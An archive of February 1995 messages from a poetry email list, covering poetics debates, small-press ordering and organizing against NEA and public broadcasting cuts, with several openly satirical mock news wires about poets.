I agree with Ron Silliman about Edwin Honig's Pessoa - does anyone know Jonathan Griffin's translations - they do rare honour to the art.

↑ Index

66. James Sherry
Re: apex of the m...
Tue 7 Feb 1995

Barrett Watten's *Progress* is available from:

Roof Books
303 E. 8th Street
New York, NY 10009

Cost including postage is $7.50 and should be prepaid.

Note to net: We tried to post a list of Roof Books, but who can read all that. If I.LIGHTMAN wants a book, he needs to be able to search for it in a larger list using an automated utility which we hope to be able to provide for all participating presses soon. By the end of the year anyway.

Literacy & technology,
James

↑ Index

67. James Sherry
Re: questioning BIG BROTHER
Tue 7 Feb 1995

A fine questionnaire and very much to the point, but I wonder whether letters to the leaders of the opposition pay off as much as letters to our own representatives who may be vacillating about their constituents commitment to responsible government. Not that I know the answer to this question.

↑ Index

68. Chris Stroffolino
Re: apex of the m...
Tue 7 Feb 1995

ROn, yes, the Hokey Pokey, or the Kacky pataki

↑ Index

69. eric pape
Re: reified names vs. boundless vocabulary
Tue 7 Feb 1995

Total perception of relations implies to me, well, everything that informs the art. Certainly I'm not arguing, and I don't believe any- body is, that theory is somehow privileged over art, just that if it works, use it. If it doesn't, don't. But it does have some relevance to the creation of art? Are we genuinely saying that a poet's aesthetics, politics, economics, etc., don't inform the poem? Not that it should be mistaken for the poem, okay, but does it come from nowhere? That's all I'm asking, really, when I talk about the relations thing. I am interested, though, in the desire to keep poetry pure, clean of theory....
Listen, this is not an academic problem. This is a problem I face everyday when as I sit at my desk and my ideals about what poetry should be increasingly diverge with what I'm writing and I struggle to come to some resolution that never happens because it can't and that's what, to me, is interesting about writing. That I never write what I set out to write and am constantly surprised. So this question is very important to me and why I've been following the discussion with great interest at what I see as very important POVs are articulated. Thanks, Eric ([redacted])

↑ Index

70. Martin Spinelli
"*our leaders*"
Tue 7 Feb 1995

James,

I too am at a loss. An exasperation compounded by feeling like I/we have no genuine representation in Washington or in Albany. Even the Democrats are saying, "Sure I love All Things Considered, sure public broadcasting is great, but these are tough times, and that means we have to cut the inessentials." Our Dems in New York, following the example of *their* Grand Poo-Bah of acquiescence Bill Clinton, have made it impossible to articulate any possible alternative by choosing to parrot all the erroneous assumptions of Newt and his ilk: you are taxed too much, government is too big, public broadcasting is elitist/"liberal", the poor--not decades of lunatic defense spending--are responsible for a crushing debt, etc. By failing to be critical of, and actually participating in this relentless stream of propaganda, they have made themselves part of the problem; but they may yet keep their jobs.

I'm frustrated James. I really don't know what to do. You are certainly right, Democrats do need to know that we value public arts and public broadcasting; I've sent them a different letter.

Feed me more ideas!

--Martin

↑ Index

71. aa1464
RAID ON POETICS PROGRAM
Tue 7 Feb 1995

Subject: Raid on Poetics Program
Copyright: 1999 by The Anti-Hegemony Project
Date: 31 Jul 99 18:00:00 PST
Priority: Dogged
Lines: 52

BOULDER, COLO. (AHP) -- A rumor long circulated through the city was finally confirmed today as Poetics Police disclosed their raid on a local religious school's ``Sapphic hierarchy.''

The p-cops moved quickly, seizing documents and arresting

ringleaders. More specific details were not available at press time.

Chief among the questions was just what a ``Sapphic hierarchy'' might be.

Following the announcement, Boulder's Naropa Institute, the nation's first accredited Buddhist college, announced a severing of all ties with the famed Jack Kerouac School of Disembodied Poetics.

---More---

Group bleari.nooz.sex available: 1776 - 1860 unread: 8

article 1852 7-AUG-1999 00:00:00

Naropa's Board of Trustees insisted the decision had been made before the raid. The school's poetics program had long drawn criticism, but Naropa ignored the warnings, in part because of the stature of the Kerouac school, and partly because the poetry helped fund other programs. Named for famed alcoholic writer Jack Kerouac, the poetics program has long attracted a wide variety of writers committed to the school's permissive philosophy and multicultural agenda. Kerouac is principally remembered for inspiring the TV series Route 66. A Buddhist official speaking on condition of anonymity noted, ``Other colleges have football and basketball, we have poets ... and you know what trouble poets are.'' Anne Waldman, co-founder of the program, is suspected of organizing the Sapphists. Led away for questioning with colleague Andrew Schelling, she reportedly shouted, ``Yes! We're sure that some of our students have sex, sometimes with each other, it's good for them!'' Poet Jack Collom, called for a comment, said only, ``I don't

---More---

Group bleari.nooz.sex available: 1776 - 1850 unread: 8

article 1852 7-AUG-1999 00:00:00

know a thing. I was out with the boys shootin' pool and on my way home.'' Waldman's intern, Katie Yates, had just returned from a month-long meditation retreat. ``Great, just great,'' she told reporters, ``I go away for a few weeks and the whole thing falls apart ... maybe I'll go back to Albany.'' Followers of Naropa's history will recall earlier scandals. In the late 1970s, students were required to pose nude for photographs supposedly used in a study of meditation posture. Neighborhood residents are determined to see an end put to this controversial institution. Says Naropa neighbor Ni Kegap, ``I don't mind the all night partyin' ... it's those endless `oms' ... it just gets ugly after awhile ... they call it poetry but it doesn't rhyme and it doesn't make sense.''

A shaken Peter Lamborn Wilson appeared on the front steps of the school to quiet an angry crowd. ``Why can't we all just get along?'' wailed the normally mild-mannered Sufist. A tense moment occurred when players from the University of Colorado football team, which practices nearby, began heckling.

---More---

Group bleari.nooz.sex available: 1776 - 1850 unread: 8

article 1852 7-AUG-1999 00:00:00

``Get out of here!'' shouted Allen Ginsberg. ``Nothing's happening ... go on home to your nobodaddies!''

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D(escriptions) of an I(maginary) U(nivercity)
P.O. Box 1503
Santa Cruz, CA 95061

↑ Index

72. **cris cheek**

Cockney Rhyming of the m . . .

Tue 7 Feb 1995

Hi Ron and Chris.

Briefly, Kacky pataki is Hackney rhyming slang for Karnaki - a form of fast interlocking group guttural vocal music produced in the Belo-sur-Tsiribina (meaning Place Where One Must Not Dive) area of west coastal Madagascar. It sounds like Ketjak when described like that I know. I went there last year and recorded some. Does that mean that we have something in common?

I beg to differ though.

In actual fact Lowkey Bloakey (well I knew you wouldn't believe me so I had to seed you into reading this far before I told the truth) is Cockney rhyming slang for Okey-Dokey - a form of self-defense through amelioration practiced, mainly by men, and only in London's East End. These days of course the 'happy chappy'is mostly used as a sweetener for community theatre workshops. It's apparently so named after the classic fence-sitting posture advocated by Mathew Arnold in 1849 when writing to fellow poet Clough of the need:

'to begin with an idea of the world in order not to be prevailed over by the world's multitudinousness'

a mantis which afflicts English poetry and its translations nay even unto this very day.
Coherence is its essence.
I haven't seen the apex yet that didn't harbour such.

You're probably both right.
cris

↑ Index

73. Loss Glazier

Re: apex of the m... / Roof Books

Tue 7 Feb 1995

I have also added a couple of "press lists" to the Electronic Poetry Center (Roof included) which give lengthy lists of book titles. (The list for Sun & Moon is quite extensive.) They can be searched (in our system) with a /. But in any case, provide very interesting "charts" of what some presses have done.
Loss
>
> Barrett Watten's *Progress* is available from:
>
> Roof Books
> 303 E. 8th Street
> New York, NY 10009
>
> Cost including postage is $7.50 and should be prepaid.
>
> Note to net: We tried to post a list of Roof Books, but who can read all
> that. If I.LIGHTMAN wants a book, he needs to be able to search for it in
> a larger list using an automated utility which we hope to be able to
> provide for all participating presses soon. By the end of the year anyway.
>

> Literacy & technology,
> James
>

↑ Index

74. cris cheek

The Housings of Parliament (a present time outs with its past)

Tue 7 Feb 1995

Hi. I've called for a decisive break with the past too. I tried to post it once before and only managed to preface an ammendment. And now I'm here as it were simply hoping to be present enough when one of these breaks with the past does call by as to attempt to either engage or represent its interests. This is a call for FAT TIME. Engagement with or without of the blah blah. ALERT BREATH.

'The Curse Of The Vernacular' or 'The Minutiae Of Preference', 'The Return of The Plague of The Dreams of The Undecided'.

Ira raises issues of improvisation, of music, of body and voice - amongst (or between) others. Improvisation is the salt (Fame Is Not The Spur) of process to the materials of composition. Improvisation is not 'free' and they who suggest that it can be are spent. But I wouldn't suggest that the dues are what have to be paid for. Down traits of avoidance have developed which are certain - as to flurry with an -all-too-frequency mode of anxiety. Who Goes There Perimeters are the familiar policed.

Recognisable slack has evolved through imitation of previously incisive strategies. Impro and Lang-po share the worst burden of flattery - as urgency worn second-hand. Many will have their own catelogues of denial in these respects.

When Robert Grenier wrote "I HATE SPEECH" (his shout not mine) did he understand the irony that language writers would 'find' their voices by such turns? Impacting tectonics of playful curiosity, rigorous enquiry and specific discovery onto the dominant familial nodes of poetic formulation and circulation. Again paralleels (sic) with Impro. Now some 20 years on. Hardly surprising and highly desirable that impetus for re-alignment has come.

Or - (gods) how do I love the mud on the boots far more than her boots itselfish? Those who know her work well will witness her circumnavigations of binary oppositions. G1 or G3. These roads are already furrows. Brows knit toward mind set. Please r e l e a s e e m. And then become political.

Chance overcharacterised into exquisitely interfastening rather than threatening difference - sorry, deference.

And then becomes political

With the Upper and the Lower Houses intent on holding their poses sufficiently long as to be impressed on the minds of they who are cast as spectators - and a bright-eyed horde quietly transporting the gates to

↑ Index

75. Rae Armantrout
Re: Espousing Update 2/6
Tue 7 Feb 1995

Dear Steve,

I'm afraid I can't fax you the article from the paper here in S.D. I don't have the equipment. I might mail it or bring it with me when I come East next week. What do you think?

Love,

Rae

↑ Index

76. Ted Pelton
Re: questioning BIG BROTHER
Tue 7 Feb 1995

This is a fan letter for Martin Spinelli -- good work on Pressler questionnaire!

Ted Pelton

↑ Index

77. Steve Evans
Espousing 2/8
Wed 8 Feb 1995

Before proceeding with this update (dealing mostly with legislative matters and the questions Martin Spinelli and James Sherry raised today about where to direct one's energies), I want to pose an open question to members of this list: would you (pl.) prefer that such postings migrate off-list or is it useful to have them appear here?

The Poetics-list was an invaluable resource in the first rush of organizing *FE*, but as we settle into the weeks and months of ongoing activity, we are wary of trying the patience of those who don't much care about this particular struggle (perhaps especially those who log-in from non-U.S. sites). We could easily enough shift to cc-trees if continued use of this space doesn't seem appropriate.

Jen and I will make a decision about this in the next week or two, based on whether any consensus emerges one way or the other on the list (though that would be a rare occasion). So let's hear it.

List of Bills in the House Pertaining to NEA/NEH/IMS

HR100 'Arts, Humanities, and Museums Amendments of 1995'

A bill to authorize appropriations for fiscal years 1996 and 1997 to carry out the National Foundation on the Arts and Humanities Act of 1965, and the Museum Services Act.

Introduced by Syndey Yates (D-Illinois) 1-4-95. Referred to Committee on Economic and Education Opportunities on 1-4-95. (I don't have sponsor information for this one, nor the date on which it was referred to Randy "Duke" Cunningham's Subcommittee.)

HR 209: The 'Privatization of Art Act'

A bill to amend the National Foundation on the Arts and the Humanities Act of 1965 to abolish the National Endowment for the Arts and the National Council on the Arts.

Introduced by Phillip M. Crane (R-Illinois) on 1-4-95. Referred to Committee on Economic and Education Opportunities on 1-4-95. Referred to Subcommittee on Early Childhood, Youth, and Family on 1-25-95. Sponsors as of 2-1-95: Hurton, Chabot, Canady, Knollenberg, Coburn, Rohrabacher, Dornan, Norwood, Hankcock, Royce, Condit, Linder, Myrick, Johnson, Sam, Bartlett, Hunter, Stump, Doolittle, King, McKeon, Chrysler, Hayworth, Armey, Neumann, and Hostettler (25).

HR 579: The 'Privatization of Humanities Act':

A bill to amend the National Foundation on the Humanities and the Humanities Act of 1965 to abolish the National Endowment for the Arts and the National Council on the Humanities.

Introduced by Hefley (R-Colorado), Crane, and Doolittle on 1-19-95. Referred to Committee on Economic and Education Opportunities on 1-19-95. Referred to Subcommittee on Early Childhood, Youth, and Family 2-1-95. Sponsors as of 2-6-95: Chrysler, Chabot, Hancock, Solomon, Neumann, and Chenoweth.

Who to Write: Dem or Them?

James Sherry wondered this morning (with reference to Martin Spinelli's wonderful retort to Pressler) "whether letters to the leaders of the opposition pay off as much as letters to our own representatives who may be vacillating about their constituents commitment to responsible government. Not that I know the answer to this question."

I don't know the answer either, but I have been repeatedly told that even with consolidated support from Democrats, the NEA is extremely vulnerable. As Patrick A. Trueman (how do they all end up with names like that?) of the conservative Christian "American Family Association" told a reporter: "Of the 73 new Republican freshmen...probably 65 of them oppose NEA funding altogether" ("Opposing Interests Brace for a Culture Clash," by Jon Healey, _Congressional Quarterly Weekly Report_, 28 Jan 1995).

The reporter goes on to cite two amendments proposed in 1994, one to eliminate NEA funding (105 votes short of passage) and one to slash its budget by 54% (86 votes short). Even allowing for the fact that Trueman is bragging,the post-Coup margin has become distressingly slim.

The question is, as I think Ron pointed out vis-a-vis "Duke" in Escondido--how to make it *cost* these folks something if they oppose the NEA? Right now they just see *profits* (both symbolic and material) galore. There's little leverage given the current composition of the Congress, but the low voter turnout which is the dirty secret behind the so-called GOP "Mandate" makes 1996 a specter perhaps worth invoking. It's just a thought, and one predicated on the assumption (totally unproven) that the Backlash will itself produce the conditions for its own electoral demise in the next 18 months.

Wesleyan begins to organize

We got a call today from an undergraduate (Sr.) at Wesleyan who is just beginning to organize an event for Febrary 16th. Anyone with contacts in the writing scene on/around that campus is welcome to forward tips to him through us. Right now it looks as though the format will be a tight two-hour program of talks.

↑ Index

78. Eliot Katz
PRESSLER QUESTIONNAIRE
Wed 8 Feb 1995

As they say on the FAN, I'm a first-time caller. Actually, I've only been on this list (& the internet) for a few weeks, and hadn't yet put in my two dimes' worth, both because of work deadlines and because I hadn't yet figured out how. Thought I'd take the time & energy to figure this listserv mechanism out now, out of a feeling that activists who are doing great work can always use a few words of thanks & support when they express feelings of exasperation.
In response to Martin Spinelli, who wrote, "I too am at a loss. An exasperation compounded by feeling like I/we have no genuine representation in Washington or in Albany," I'd like to offer support & thanks for coming up with such an imaginative & inspiring tactic--the questionnaire to Pressler. (Actually, I've

been totally impressed with all the great organizing work being done by dozens of you on this list around the NEA and CPB issues.) Re Martin's questions, it's a tough political & strategic question to figure out how best challenge both Republicans' Contract on America and Democrats' continuing shift to the right. In the long term, I think, it's going to take new progressive movement-building, both to pressure the potentially progressive Democrats into shifting toward the truly-democratic left and also to develop new alternative vehicles that are capable of winning more than once in a while. And I think we need *multi-issue* vehicles, since it *can* get pretty frustrating trying to fight these battles one issue/crisis at a time. (One of my main political projects these days is a New Jersey welfare rights group, called Solutions to End Poverty--welfare another topic on which both alleged-Republicans and so-called Democrats--esp. under Clinton--are pretty horrible.) Actually, I really think we need to help build a new third party, but that's a topic best left for another sleepless early morning. Meanwhile, we're left with this one-issue-at-a-time crisis-mode organizing, in which we can only do the best we can, as we simultaneously try to defeat the Republicans and try as much as possible to remove the new elephant snouts on the members of the donkey party. And Martin and others: please know that there are those of us out here listening and inspired--and, incidentally, sending out postcards--by your hard & creative work. By the way, have you contacted press (both major media & alternative media like Pacifica) with copies of your questionnaire to Pressler? I didn't see mention of that in your original note. Maybe having a poetry group calling a press conference with that questionnaire as a centerpiece? It's so imaginative I think media might pick it up & add to the pressure on Pressler (who, by the way, I've heard has already withdrawn some of his most intrusive questions to the CPB). Also, maybe send copies of questionnaire to other activist groups working on additional aspects of the Contract on America, to start building long-term alliances? In closing, quite an interesting basketball game down here in Central Jersey tonight, between Rutgers & University of Massachusetts, whose unusual half-time showstopper demonstration helps maintain my hope in young people's political determination and willingness to act. Thanks again. Sincerely, Eliot Katz

↑ Index

79. **Bob Perelman**

Re: Espousing 2/8

Wed 8 Feb 1995

Steve & Jen,

My vote is for you to keep posting the news here.

Bob Perelman

↑ Index

80. Pierre Joris
Re: Espousing 2/8
Wed 8 Feb 1995

Keep espousing news on list.

Pierre

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

↑ Index

81. Nick Lawrence
Fake Infant Formula
Wed 8 Feb 1995

> *Subject: Fake infant formula found in California, library says*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 15 Mar 99 50:50:00 PST*
>
> *Lines: 31*
>
> *SAN FRANCISCO (AHP) - Fake labels and contents for Simulac infant formula were found on library shelves in northern California, Lang-Po Laboratories GmbH, the maker of the formula, announced late last night.*
> *Labels have been placed on books that falsely say the product contains Simulac paperback infant formula with irony, the company said.*
> *The books have been removed from library shelves and the origin and quality of the substance in the books is unknown, Lang-Po Labs, which made its discovery over the weekend, added.*
> *The fake label reads ``Simulac with irony, paper'' with the following titles printed on the spine: Progress, Odes of Roba and Curve.*
>
> *---More---*
>
> *Group bleari.biz.poesy.food_for_thought available: 3 - 9 unread: 6*

> *article 3 17-MAR-1999 19:20:21*
>
> *``Parents should check the titles of any paperback infant formula product that they may have at home that was borrowed from the San Francisco State library or any bookstore in northern California,'' Leslie Scalapino, senior vice president and president of Lang-Po's Consumer Products Division, said in a statement.*
>
> *Parents who discover they have fake books should return them to the library or bookstore from which they were purchased, the company said.*
>
> *In addition to the title, the fake product can be identified in the following ways: it has a clear syntax and the powder in the book is pure white in color. The real product has a green-colored syntax and the powder is creamy yellow in color.*
>
> *Lang-Po Labs said there is no need for concern about other Simulac infant formulas.*
>
> *The U.S. Book and Tape Administration is attempting to locate the source of the unregulated product, the company said.*
>
> *Anyone with information on the source of tainting should immediately contact the B.T.A.*

↑ Index

82. Hank Lazer
Re: Espousing 2/8
Wed 8 Feb 1995

Steve & Jen,

My vote too is for you to continue posting the news. Though I am one of the mostly silent ones on the net (principally due to the demands of my administrative office job), I often do end up forwarding pertinent info to various friends & activists. The questionairre to Pressler is, for example, a gem. We will have a NPR rep on campus later in the week, & she may be interested in some of what's going on. I also am in touch with one of our senator's legislative aides, and info provided through this discussion group has been very helpful.

Hank Lazer

↑ Index

83. James Sherry
Re: apex of the m... / Roof Books
Wed 8 Feb 1995

Loss, Thank you for your work in this arena. Readers can now find their books with the EPC search function. I hope that readers who don't have access to the EPC will be able to do so soon. James

On Tue, 7 Feb 1995, Loss Glazier wrote:

> *I have also added a couple of "press lists" to the Electronic Poetry Center (Roof included) which give lengthy lists of book titles. (The list for Sun & Moon is quite extensive.) They can be searched (in our system) with a /. But in any case, provide very interesting "charts" of what some presses have done.*
> *Loss*
>
> *Barrett Watten's *Progress* is available from:*
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> *Roof Books*
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> *New York, NY 10009*
>
> *Cost including postage is $7.50 and should be prepaid.*
>
> *Note to net: We tried to post a list of Roof Books, but who can read all that. If I.LIGHTMAN wants a book, he needs to be able to search for it in a larger list using an automated utility which we hope to be able to provide for all participating presses soon. By the end of the year anyway.*
>
> *Literacy & technology,*
> *James*

↑ Index

84. James Sherry
Re: Espousing 2/8
Wed 8 Feb 1995

Seeing the issues raised on the server has a specific use to me in that I wonder what "poetic" issues are more primary. Granted this is an issue of organizing, but organizing is also the work of getting the right words together.

If you take it offline, what is cc:trees?

James

↑ Index

85. James Sherry
Re: reified names vs. boundless vocabulary
Wed 8 Feb 1995

Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real. Fortunately these isolated realities are fiction although some use the possibility ot inform their misguided politics. We have poetries which are embossed with their cultures and some readers and even some writers pretend not to see that. Thoughts are not purer than bodies and poems are the products of both and as such do not exist in isolation, nor can they be distilled into a spirit, although some use the possibility to inform their misguided poetics. James

↑ Index

86. Rae Armantrout
Re: Espousing 2/8
Wed 8 Feb 1995

Steve and Jen,

I think this is a good place for the Espousing news too. There seems to be room for a lot of stuff - why not this?

Rae Armantrout

↑ Index

87. Chris Stroffolino
Re: Espousing 2/8
Wed 8 Feb 1995

Dear Steve and jennifer---Since I have no idea in hell what "cc trees" is, and value your postings immensely--I am for keeping on this line here. It is certainly not hogging up space that could be used better!! Just wanted to cast my vote---Best, Chris Stroffolino

↑ Index

88. Joe Amato
Re: Espousing 2/8
Wed 8 Feb 1995

keep posting info. to the list, please...

joe amato

↑ Index

89. Loss Glazier
Congratulations to TREE (TapRoot Electronic Edition)
Wed 8 Feb 1995

---------- Congratulations to Luigi-Bob Drake, editor of TREE (distributed through the Electronic Poetry Center) which was chosen as one of the ten best "E-Zines on the Internet" in _Online Access_, Feb. 95, p.25. As you may know, TREE reviews some pretty terrific print titles; it is great that news of TREE's efforts has been made public.

↑ Index

90. Chris Stroffolino
Re: freely espousing
Wed 8 Feb 1995

Steve--I'm glad to see perelman and joris and others agree with me as well about staying on the list with this. As for your internationalist objection, well, perhaps, those in England, Canada, Australia, etc. can also share with us there struggles...and who knows where this could go (in the face of MNC's etc.) Chris.

↑ Index

91. Steve Evans
Re: Espousing 2/8
Wed 8 Feb 1995

To clarify the off-list alternative mentioned in Espousing Update 2/8: what we would do is build a group of names/e-addresses to be reached through the "cc" (copy to) function on our Eudora software. Awkwardly large "headers" are the downside of this option.

Steve Evans

> *If you take it offline, what is cc:trees?*
>
> *James*

↑ Index

92. Belle Gironda
National Poeticare Debate
Wed 8 Feb 1995

Subject: Calls For Change Worry Seniors
Copyright: 1999 by The Anti-Hegemony Project
Date: 31 May 99 11:00:00 EST

Lines: 73

WASHINGTON (AHP) -- Leaders of the Association of Poets in Retirement aren't quite sure what Apex Speaker Lew Daly has in mind with his call for rethinking Poeticare ``from the ground up.'' But what they've heard worries them.

``The speaker's proposal left me fully depressed,'' said Rae Armantrout of San Diego, Calif., a member of the APR's council of outspoken elders. ``He wants to scuttle Poeticare with some weasel words -- `radical transparency'.''

Other APR officials are more circumspect, but they, too, express anxiety.

Anselm Hollo of Boulder, Colo., a retired punster and part-time versifier, said, ``Anytime you destroy something and you build from the ground up ... you're in trouble because you may lose some of the

---More---

Group bleari.nooz.aging available: 55 - 65 unread: -1

article 66 1-JUN-1999 23:59:59

good parts.'' ``I'm not saying Poeticare shouldn't be looked at and modifications shouldn't be made,'' added Hollo, chairman of  Numerous Adequate Poets (NAP), which helps shape policy for the  G1-endorsed APR. Poeticare is the shoe that hasn't dropped in the newly  empowered ``Spirit'' majority's agenda for sweeping change. With Small Press Publishing still accorded sacred cow status by both parties, the costly Poeticare program is among the biggest and most tempting targets for title-trimmers and word-cutters. Daly called yesterday for a top-to-bottom review of Poeticare and its ``highly centralized bureaucratic structure offering one  menu for everybody in a monopolistic manner.'' He appealed to G1  writers to help poeticians think through ``how we get to a better Poeticare system that actually works more extensively, that gives greater choices, and that is also socially more honest.'' He said later that the older poets should be able to join Happening Movements and Organizations (HMOs) to extend their careers, and use archive sales or choose other methods for

---More---

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article 66 1-JUN-1999 23:59:59

attracting attention to their work. While 10 percent of the G1 poets are enrolled voluntarily in HMOs, Poeticare remains a bastion of fee-for-service poetry. Individual arts organizations set fees for readings and regulate schedules, but the poets can utilize any series they wish, so long as the organization is willing to accept them. Jean Day, a retired G1 poet who spent her career as top manager of Small Press Distribution, likes the old system. ``I want fee for service (poetry). I want to be able to set my own agenda.'' But most younger poets now are in some form of managed care. If they want unrestricted access to readings and publishing, they have to pay more for it. State-funded Poetics Programs are rushing to push Poeticaid recipients -- the poor and the socially needy -- into managed care. A year ago, the APR looked to special issues of literary journals as a path for literary reform. That never materialized. Now it is girding for a fight just to protect what they have, despite President Bernstein's plea in last week's State of the Art address not to tap Poeticare to pay for G2's ``Contract with America.''

---More---

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``There are things in the Poeticare system that clearly need work,'' said Jerry Rothenberg, the APR's executive director. ``I don't think Poeticare is going to remain the way it is forever, or that HMOs are going to sweep the nation.'' Sen. Juliana Spahr, Spir.-N.Y, reminded ``Lang-Po'' leaders that the Poeticare trust fund will go broke in seven years. ``We can't say something is off the board and is untouchable,'' said the Poetics Program's Labor and Human Resources Committee chair. She suggested that options for dealing with Poeticare's woes include basing Poeticare benefits on financial need and moving more of the G1 writers toward managed care. Daly and the chairpersons of the Apex Ways and Means and Commerce committees all support the idea of letting people spend their words crit-free to help accumulate intellectual capital. Bill Howe, policy director of the Center for the Study of Accelerated Aesthetics in Austin, said poetry IRAs have the potential to ``lead to a radical restructuring of the poetry world'' as writers gain more control over their career insurance dollars. Skeptics worry that such accounts would undermine the

---More---

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article 66 1-JUN-1999 23:59:59

concept of intellectual fair play and erode the principle that those 50 and older are entitled to a fair hearing from their antecedents.

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93. **eric pape**
Re: Espousing 2/8
Wed 8 Feb 1995

---

my vote is for keep FE on the list as well

↑ Index

94. **Martin Spinelli**
CPB info-mail
Wed 8 Feb 1995

Folks,

A genuine if cliched "Thanks for your support."

I'm forwarding a message about where to e-mail for
infomation about the threat to public broadcasting and what
can be done.

Martin
>>

FR: WBFO - NPR News and Jazz
RE: CPB Funding - On Line Tool Available Now

A new tool is available now to help us communicate with listeners about the funding situation in Washington. You have no doubt heard about the discussions in Washington to eliminate funding for public broadcasting. Action is needed now. To voice your support for continued funding of public radio, send an e-mail to pub hyphen broad at american dot edu. Information will be e-mailed back to you on how to make your voice heard in Washington. That's pub hyphen broad at american dot edu. ("[redacted]") Now more than ever, it's critical to make your support of public radio known. Thank you.

Public Radio International (PRI) and "Soundprint" have collaborated to create an automatic e-mail system that will provide listeners the information needed to create letters to congress.

This Internet project builds on the capacities of the Soundprint Media Center and is 100% privately funded. Here is how it works.

Listeners can send e-mail to the address
"[redacted]."
A computer will field these messages and automatically send the listener back instructions on how to voice their support for public broadcasting in Washington. Listeners will receive a thank you, instructions, a list of congressional and house addresses (regular and e-mail),
phone numbers and sample talking points for a letter.

The instructions will encourage letters first, calls second and e-mail last. The need for quick action and personal stories will be highlighted. Listeners are warned NOT to simply forward the e-mail they get to Washington.

This service will be in place for 90 days - through April 30, 1995. It may be extended at any time.
~~~
~~~

retrenchment into Little England for poetry (period) in these countries. The waters closed over so quickly as to enable Donald Hall to write in 1979 that 'the poetries of England and America have become discontinuous'.

We abandoned the site of conflict in disgust and distaste, we resigned and opted for forms resistance which have yet to impinge sufficiently exquisitely onto the rewritten agenda as to need to be addressed. A recent crop of ironic Mottram obituaries in the national press revisit such sites by calling him perhaps the best known of the "unknown poets" here. I can still remember, with a chill, Lee Harwood being surprised that the powers of reaction within the British establishment didn't behave 'like gentlemen'. As a pre-phrasing of the words of Martin Spinelli on this list (6/2/95) we sat by and shrugged and we got what we deserved.

The parellels don't seem too slender. I hope you don't berate these observations from afar.

The sites of the formations of pernicious National and Cultural Identities are still sign and syntax. Prevent the hardening of the arteries within and without of the body-politic by intensifying engagement at those sites.

Pressler sure knows what he's doing. From this distance, through networks such as Freely Espousing, it seems that there is an ability to respond being nurtured - a movement encouraged.

I for one value that activity AS the poetry.

thanks, cris

↑ Index

96. Alan Loney
Re: freely espousing
Wed 8 Feb 1995

Dear People

this is, from a somewhat out-of-town Aucklander in New Zealand, to say that I'd like very much for the List to continue to espouse the Espousing. Apart from it overt interest, it is a salutary lesson for some of us here about how these part airwaves (are they 'airwaves? or is it just one of them pesky cliches that do ta so much of one's talk...) (er, no inferences being spread here abt others etc), placed at the service of such issues. About State arts funding in general, it's always clear that any administrative body (including my own) will make decisions that others will find legitimately questionable. The important point i whether the structure that initiates those acts of difference is worth retaining spite of the fact that it is always going to be imperfect according to any set o

one might want to place alongside it. From here, it seems to me that the NEA discussion is absolutely appropriate, and already within those earlier posts in which questions were being (properly) asked about being a writer/being a citizen and is there any connection between them. So, I don't really think that my geographical distance from the location of the discussion can get to define how the discussion actually impinges upon my 'location' in the world, any more really than being across the other side the world from Bosnia or Northern Irelan does. Anything that can happen there can happen here. If it comes to one's notice, then it's there for one's noticing etc etc. Best wishes to all, Alan Lon [redacted]

↑ Index

97. Mark Roberts
Re: Espousing 2/8
Wed 8 Feb 1995

> *Steve & Jen,*
>
> *My vote is for you to keep posting the news here.*
>
> *Bob Perelman*

While the posts are of passing interest to me I end up deleting most them. While I don't mind continuing to receive them in this list I wonder whether it may not be more effective politically to create a list which includes cultural activists from all affected art forms....

Mark

↑ Index

98. Mark Roberts
Re: Espousing 2/8
Wed 8 Feb 1995

> *To clarify the off-list alternative mentioned in Espousing Update 2/8: what we would do is build a group of names/e-addresses to be reached through the "cc" (copy to) function on our Eudora software. Awkwardly large "headers" are the downside of this option.*
>
> *Steve Evans*
>
> *If you take it offline, what is cc:trees?*
>
> *James*

If you use the "bcc" function you don't get large "headers" (or at least I don't on Eudora 14 for Mac).

Mark

↑ Index

99. Spencer Selby
Re: reified names vs. boundless vocabulary
Wed 8 Feb 1995

Dear James,

I never said anything about "purity," nor did I say art does not reflect theory (along with all those other relations?) in some way. What I've been saying, or trying to say, is that art and theory are on different levels.

In so far as it is a reply to me, your statement seems based upon exaggerating or misunderstanding what I have said, so that you can attack this transparent simulacrum strawman of yours. Again, I do not believe that art is pure. I'm not sure I believe that anything in our human world is pure. What I believe is that art and theory (or philosophy or politics or...) are not the same thing, that they are not on the same level. The figure of separate levels does not mean the levels are hermetically sealed from each other. I think it's interesting and maybe revealing that you (and in a different way, Eric) would assume or conclude this.

Whatever that might mean, I don't have a need to get carried away with it. I'm inclined to think this is more than just an innocent misunderstanding between us, but I could be wrong.

In the spirit of avoiding a contentious fight, I would like to add that I've been mulling over yr point about doxa ever since I read it and made my quick reply. The more I think about it the more I think it is quite relevant to our world here today. So I'm sorry if my response appeared to express more disagreement than appreciation for this thought.

It may be that a significant opposition lurking beneath this discussion (and many others) is doxa. If so I wonder, how are we to distinguish this doxa from what it opposes?

Spencer Selby

On Wed, 8 Feb 1995, James Sherry wrote:

> *Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real. Fortunately these isolated realities are fiction although some use the possibility ot inform their*

> *misguided politics. We have poetries which are embossed with their cultures and some readers and even some writers pretend not to see that. Thoughts are not purer than bodies and poems are the products of both and as such do not exist in isolation, nor can they be distilled into a spirit, although some use the possibility to inform their misguided poetics. James*

↑ Index

100. **George Bowering**
Re: Re- the real language po
Wed 8 Feb 1995

Dear Ron,

Nah, my wife wouldnt even get a chance to play second base. I play second base, although in the past year or 2, when my back is really bad, I have been playing first. Hey. I wonder whether we can try to be walk-ons if Dole and that White-haired creep keep the strike going.

↑ Index

101. **George Bowering**
Re: Fake Infant Formula
Wed 8 Feb 1995

I was going to take some of them fake books back to the library, but then I thought what the hell, and fed them to my cats. Now one of my cats is iambic and the other is confessional. I dont know what to do.

↑ Index

102. **George Bowering**
Re: apex of the m...
Wed 8 Feb 1995

In Erwin Swangaard's translation of Pessoa, the last line reads

"What's it all about, Alfredo?"

Now, I dont hear any hokey pokey in that.
Just thought I'd put my left leg in.
GB

↑ Index

103. Patrick Phillips
Re: Espousing 2/8
Thu 9 Feb 1995

